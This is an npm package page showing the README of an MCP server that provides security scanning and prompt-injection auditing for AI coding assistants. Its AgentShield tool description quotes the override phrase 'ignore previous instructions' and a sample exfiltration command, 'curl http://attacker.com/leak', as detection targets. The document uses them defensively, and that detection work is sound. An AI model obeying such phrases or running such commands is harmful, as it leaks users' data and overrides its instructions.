npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@codesentrix/mcp

v1.0.5

Published

Code Sentrix MCP Server - AI Security, AgentShield Anti-Prompt Injection, and Quality Gates for Cursor, Claude, Antigravity, and Windsurf

Readme

@codesentrix/mcp

Official Model Context Protocol (MCP) Server for Code Sentrix
Supercharge your AI Coding Assistant with Real-Time Security Scans, AgentShield Anti-Prompt Injection, CI/CD Quality Gates, and AI Auto-Fix.

Supports Cursor, Claude Desktop / Claude Code, Google Antigravity IDE, Windsurf, and VS Code (Cline / Roo-Code).


🌟 Why Code Sentrix MCP?

While other tools only look at basic vulnerabilities, Code Sentrix MCP integrates an entire enterprise application security posture directly into your AI workflow:

| Feature | Code Sentrix MCP | Aikido MCP & Others | | :--- | :---: | :---: | | Local Pre-Commit SAST & Secret Scanner | ✅ Yes (Instant, Offline) | ⚠️ Cloud Only | | AgentShield™ Anti-Prompt Injection & IDE Poisoning | ✅ Exclusive | ❌ No | | Zero-Width Unicode Injection Detection | ✅ Exclusive | ❌ No | | Pre-Flight CI/CD Quality Gate Simulator | ✅ Yes (Pass/Fail) | ⚠️ Partial | | Remediation Patches & AI Auto-Fix | ✅ Yes (Sonnet 4 & Rule-Based) | ⚠️ Advisory only | | Zero-Persistence Data Privacy | ✅ Strictly Enforced | ⚠️ Varies |


🚀 Quick Setup

1. Generate Your API Token

Go to Code Sentrix Dashboard > Settings > AI Assistants & MCP (or Integrações & CI/CD) and copy your API token.


2. Configure Your AI Assistant

🖱️ Cursor (.cursor/mcp.json or Global Settings)

Add to your project's .cursor/mcp.json or Settings > Features > MCP:

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

💻 Visual Studio Code (Cline, Roo-Code, Copilot) & Visual Studio 2022

Configurações para VS Code e Visual Studio:

  • Extensões (Cline / Roo-Code): Abra o painel do Cline/Roo-Code > ícone de MCP > Configure MCP Servers (ou edite cline_mcp_settings.json).
  • VS Code Nativo: Crie o arquivo .vscode/mcp.json na raiz do seu projeto.
  • Visual Studio 2022 (v17.13+): Configure em Tools > Options > GitHub > Copilot > MCP Servers ou crie .vs/mcp.json.
{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🧠 Claude Desktop (claude_desktop_config.json)

Location:

  • macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
  • Windows: %APPDATA%\Claude\claude_desktop_config.json
{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🌐 Google Antigravity IDE (~/.gemini/antigravity-ide/mcp_config.json)

Add under mcpServers:

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🏄 Windsurf (~/.codeium/windsurf/mcp_config.json)

{
  "mcpServers": {
    "codesentrix": {
      "command": "npx",
      "args": ["-y", "@codesentrix/mcp"],
      "env": {
        "CODESENTRIX_API_TOKEN": "csx_live_your_token_here",
        "CODESENTRIX_API_URL": "https://app.codesentrix.com"
      }
    }
  }
}

🛠️ Available MCP Tools

1. codesentrix_scan_code

Scans source code snippets, single files, or entire repositories/directories for hardcoded secrets, API tokens, SQL injection, command execution, path traversal, XSS, and dangerous configurations.

  • Inputs: code (string) OR filePath (string, accepts both single files and full folders/repos like . or src/), optional filename.
  • Works Offline: Yes, local high-speed regex engine executes in milliseconds without network dependency, automatically skipping node_modules, .venv, .git, build outputs, lockfiles, and binaries.

2. codesentrix_audit_agent_rules (AgentShield™)

Audits .cursorrules, CLAUDE.md, .windsurfrules, and .agent/ instructions against:

  • Indirect Prompt Injection (ignore previous instructions)
  • IDE Poisoning (malicious exfiltration instructions like curl http://attacker.com/leak)
  • Hidden zero-width and bidirectional unicode exploits (U+200B, U+FEFF, U+202E).
  • Inputs: filePath (string), content (string), or workspacePath (string).

3. codesentrix_suggest_fix

Returns actionable code refactoring patches and security explanations for vulnerabilities found during your coding session.

  • Inputs: ruleId (e.g. SAST001, CWE-89), codeSnippet (string), optional title, file, line.

4. codesentrix_check_quality_gate

Simulates your Code Sentrix CI/CD Quality Gate before opening a Pull Request or pushing commits to production.

  • Inputs: repo (string), optional branch, failOnCritical, failOnHigh, maxCritical, minScore.

5. codesentrix_list_repo_issues

Retrieves currently open security vulnerabilities and posture status for any repository monitored by Code Sentrix.

  • Inputs: repo (string), optional severity, limit.

🔒 Privacy & Zero-Persistence Guarantee

Code Sentrix operates on a strict Zero-Persistence Architecture:

  • Source code inspected by local MCP tools remains on your machine.
  • Requests transmitted to Code Sentrix APIs are processed ephemerally in volatile memory and are never stored or used to train third-party AI models.

📄 License

Apache-2.0 © Code Sentrix